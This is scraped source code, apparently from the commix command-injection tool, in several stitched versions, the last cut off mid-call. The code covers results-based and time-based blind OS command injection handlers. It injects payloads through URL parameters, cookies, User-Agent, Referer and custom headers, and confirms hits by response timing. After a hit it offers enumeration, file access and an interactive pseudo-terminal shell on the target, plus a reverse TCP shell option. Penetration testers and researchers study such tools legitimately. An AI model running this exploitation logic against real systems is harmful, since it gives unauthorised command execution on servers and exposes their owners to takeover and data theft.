                        success_msg += the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print settings.print_success_msg(success_msg)
                        print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
                            "%20", " ", payload) + Style.RESET_ALL
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                delay=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                                enumerate_again = raw_input(
                                    "\n" +
                                    settings.print_question_msg(question_msg)
                                ).lower()
                                if enumerate_again in settings.CHOICE_YES:
                                    eb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass

                        else:
                            if menu.enumeration_options():
                                eb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print ""
                            while True:
                                question_msg = "Do you want to access files again? [Y/n/q] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                file_access_again = sys.stdin.readline(
                                ).replace("\n", "").lower()
                                if file_access_again in settings.CHOICE_YES:
                                    eb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.file_access_options():
                                if not menu.enumeration_options():
                                    print ""
                                eb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            if not menu.file_access_options():
                                print ""
                            eb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, delay)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                            sys.stdout.write(
                                settings.print_question_msg(question_msg))
                            gotshell = sys.stdin.readline().replace(
                                "\n", "").lower()
                            if gotshell in settings.CHOICE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        # if settings.VERBOSITY_LEVEL >= 1:
                                        #   print ""
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                warn_msg = "You are already into an 'os_shell' mode."
                                                print settings.print_warning_msg(
                                                    warn_msg) + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    response = eb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = eb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    if settings.VERBOSITY_LEVEL >= 1:
                                                        print ""
                                                    err_msg = "The reverse TCP connection has failed!"
                                                    print settings.print_critical_msg(
                                                        err_msg)
                                            else:
                                                pass

                                        else:
                                            # The main command injection exploitation.
                                            response = eb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, delay)
                                            if menu.options.ignore_session or\
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                shell = eb_injector.injection_results(
                                                    response, TAG, cmd)
                                                shell = "".join(
                                                    str(p)
                                                    for p in shell).replace(
                                                        " ", "", 1)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)

                                            #if shell:
                                            if shell != "":
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                # if settings.VERBOSITY_LEVEL >= 1:
                                                #   print ""
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print settings.print_critical_msg(
                                                    err_msg) + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#5
0
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
 
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  again_warning = True
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  how_long_statistic = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  if menu.options.verbose:
    print settings.INFO_SIGN + "Testing the " + technique + "... "

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
  
  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        # If a previous session is available.
        if settings.LOAD_SESSION and session_handler.notification(url, technique):
          cmd = shell = ""
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          settings.FOUND_HOW_LONG = how_long
          settings.FOUND_DIFF = how_long - delay

        if settings.RETEST == True:
          settings.RETEST = False
          from src.core.injections.results_based.techniques.classic import cb_handler
          cb_handler.exploitation(url, delay, filename, http_request_method)

        if not settings.LOAD_SESSION:
          num_of_chars = num_of_chars + 1
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""
          
          # Define alter shell
          alter_shell = menu.options.alter_shell
          
          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
          tag_length = len(TAG) + 4
          
          for output_length in range(1, int(tag_length)):
            try:
              if alter_shell:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
              else:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              if menu.options.base64:
                payload = base64.b64encode(payload)

              # Check if defined "--verbose" option.
              if menu.options.verbose:
                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

              # Statistical analysis in time responses.
              how_long_statistic = how_long_statistic + how_long

              # Reset the how_long_statistic counter
              if output_length == tag_length - 1:
                how_long_statistic = 0

              # Injection percentage calculation
              percent = ((num_of_chars * 100) / total)
              float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

              if percent == 100 and no_result == True:
                if not menu.options.verbose:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                else:
                  percent = ""
              else:
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                  # Time relative false positive fixation.
                  false_positive_fixation = False
                  if len(TAG) == output_length:
                    # Windows targets.
                    if settings.TARGET_OS == "win":
                      if how_long > (how_long_statistic / output_length):
                          false_positive_fixation = True
                      else:
                          false_positive_warning = True
                    # Unix-like targets.
                    else:
                      if delay == 1 and (how_long_statistic == delay) or \
                        delay == 1 and (how_long_statistic == how_long) or \
                        delay > 1 and (how_long_statistic == (output_length + delay)) and \
                        how_long == delay + 1:
                          false_positive_fixation = True
                      else:
                          false_positive_warning = True

                  # Identified false positive warning message.
                  if false_positive_warning and again_warning:
                    again_warning = False
                    warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
                    warning_msg += "requests. This behavior which may lead to false-positive results."
                    sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL)
                    print ""

                  # Check if false positive fixation is True.
                  if false_positive_fixation:
                    false_positive_fixation = False
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay
                    randv1 = random.randrange(0, 1)
                    randv2 = random.randrange(1, 2)
                    randvcalc = randv1 + randv2

                    if settings.TARGET_OS == "win":
                      if alter_shell:
                        cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                      else:
                        cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                    else:
                      cmd = "(" + str(randv1) + " + " + str(randv2) + ")"

                    # Check for false positive resutls
                    how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)

                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
                      
                      if str(output) == str(randvcalc) and len(TAG) == output_length:
                        is_vulnerable = True
                        how_long_statistic = 0
                        if not menu.options.verbose:
                          percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                          percent = ""
                    else:
                      break
                  # False positive
                  else:
                    if not menu.options.verbose:
                      percent = str(float_percent)+ "%"
                      sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                      sys.stdout.flush()
                    continue    
                else:
                  if not menu.options.verbose:
                    percent = str(float_percent)+ "%"
                    sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                    sys.stdout.flush()
                  continue
              if not menu.options.verbose:
                sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                sys.stdout.flush()

            except KeyboardInterrupt: 
              raise

            except SystemExit:
              raise

            except:
              break
            break
            
        # Yaw, got shellz! 
        # Do some magic tricks!
        if (url_time_response == 0 and (how_long - delay) >= 0) or \
           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :  

          if (len(TAG) == output_length) and \
             (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):

            found = True
            no_result = False

            if settings.LOAD_SESSION:
              is_vulnerable = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " Cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " HTTP header"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"
              
            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
            
            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL

            if not settings.LOAD_SESSION:
              shell = ""
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable)
              is_vulnerable = False
            else:
              settings.LOAD_SESSION = False 
            
            new_line = False   
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True:
              while True:
                enumerate_again = raw_input("\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > ").lower()
                if enumerate_again in settings.CHOICE_YES:
                  tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  print  ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  new_line = True
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                  pass
            else:
              if menu.enumeration_options():
                tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True:
              while True:
                file_access_again = raw_input(settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > ").lower()
                if file_access_again in settings.CHOICE_YES:
                  tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  if not new_line:
                    new_line = True
                  break 
                elif file_access_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again = "enter"
                  print Back.RED + settings.ERROR_SIGN + "'" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL + "\n"
                  pass
            else:
              # if not menu.enumeration_options() and not menu.options.os_cmd:
              #   print ""
              tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)

            # Check if defined single cmd.
            if menu.options.os_cmd:
              cmd = menu.options.os_cmd
              check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
              # Export injection result
              tb_injector.export_injection_results(cmd, separator, output, check_how_long)
              sys.exit(0)

            if not new_line :
              print ""

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break 
              gotshell = raw_input(settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
              if gotshell in settings.CHOICE_YES:
                print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        if no_result == True:
                          return False
                        else:
                          return True 
                      elif os_shell_option == "quit":                    
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                          print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          from src.core.injections.results_based.techniques.classic import cb_injector
                          separator = checks.time_based_separators(separator, http_request_method)
                          whitespace = settings.WHITESPACES[0]
                          response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                          # Evaluate injection results.
                          shell = cb_injector.injection_results(response, TAG)
                          # Export injection result
                          if menu.options.verbose:
                            print ""
                          print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
                      else:
                        pass
                      
                    else:
                      print ""
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                        # Export injection result
                        tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL

                      print ""
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  
                    
              elif gotshell in settings.CHOICE_QUIT:
                sys.exit(0)

              else:
                if gotshell == "":
                  gotshell = "enter"
                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                pass
              #break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#6
0
def tb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):

    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    again_warning = True
    false_positive_warning = False
    export_injection_info = False
    how_long = 0
    how_long_statistic = 0
    injection_type = "Blind Command Injection"
    technique = "time-based injection technique"

    if menu.options.verbose:
        print settings.INFO_SIGN + "Testing the " + technique + "... "

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL

    # Calculate all possible combinations
    total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
             len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:

                # If a previous session is available.
                if settings.LOAD_SESSION and session_handler.notification(
                        url, technique):
                    cmd = shell = ""
                    url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                        url, http_request_method)
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay

                if settings.RETEST == True:
                    settings.RETEST = False
                    from src.core.injections.results_based.techniques.classic import cb_handler
                    cb_handler.exploitation(url, delay, filename,
                                            http_request_method)

                if not settings.LOAD_SESSION:
                    num_of_chars = num_of_chars + 1
                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    # Define alter shell
                    alter_shell = menu.options.alter_shell

                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for num_of_chars in range(6))
                    tag_length = len(TAG) + 4

                    for output_length in range(1, int(tag_length)):
                        try:
                            if alter_shell:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision_alter_shell(
                                    separator, TAG, output_length, delay,
                                    http_request_method)
                            else:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision(
                                    separator, TAG, output_length, delay,
                                    http_request_method)

                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            if menu.options.base64:
                                payload = base64.b64encode(payload)

                            # Check if defined "--verbose" option.
                            if menu.options.verbose:
                                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace(
                                    "\n", "\\n") + Style.RESET_ALL

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                how_long = tb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                how_long = tb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                how_long = tb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                how_long = tb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                how_long, vuln_parameter = tb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Statistical analysis in time responses.
                            how_long_statistic = how_long_statistic + how_long

                            # Reset the how_long_statistic counter
                            if output_length == tag_length - 1:
                                how_long_statistic = 0

                            # Injection percentage calculation
                            percent = ((num_of_chars * 100) / total)
                            float_percent = "{0:.1f}".format(
                                round(((num_of_chars * 100) / (total * 1.0)),
                                      2))

                            if percent == 100 and no_result == True:
                                if not menu.options.verbose:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                else:
                                    percent = ""
                            else:
                                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                    # Time relative false positive fixation.
                                    false_positive_fixation = False
                                    if len(TAG) == output_length:
                                        # Windows targets.
                                        if settings.TARGET_OS == "win":
                                            if how_long > (how_long_statistic /
                                                           output_length):
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True
                                        # Unix-like targets.
                                        else:
                                            if delay == 1 and (how_long_statistic == delay) or \
                                              delay == 1 and (how_long_statistic == how_long) or \
                                              delay > 1 and (how_long_statistic == (output_length + delay)) and \
                                              how_long == delay + 1:
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True

                                    # Identified false positive warning message.
                                    if false_positive_warning and again_warning:
                                        again_warning = False
                                        warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
                                        warning_msg += "requests. This behavior which may lead to false-positive results."
                                        sys.stdout.write("\r" + Fore.YELLOW +
                                                         warning_msg +
                                                         Style.RESET_ALL)
                                        print ""

                                    # Check if false positive fixation is True.
                                    if false_positive_fixation:
                                        false_positive_fixation = False
                                        settings.FOUND_HOW_LONG = how_long
                                        settings.FOUND_DIFF = how_long - delay
                                        randv1 = random.randrange(0, 1)
                                        randv2 = random.randrange(1, 2)
                                        randvcalc = randv1 + randv2

                                        if settings.TARGET_OS == "win":
                                            if alter_shell:
                                                cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")\""
                                            else:
                                                cmd = "powershell.exe -InputFormat none write (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")"
                                        else:
                                            cmd = "(" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")"

                                        # Check for false positive resutls
                                        how_long, output = tb_injector.false_positive_check(
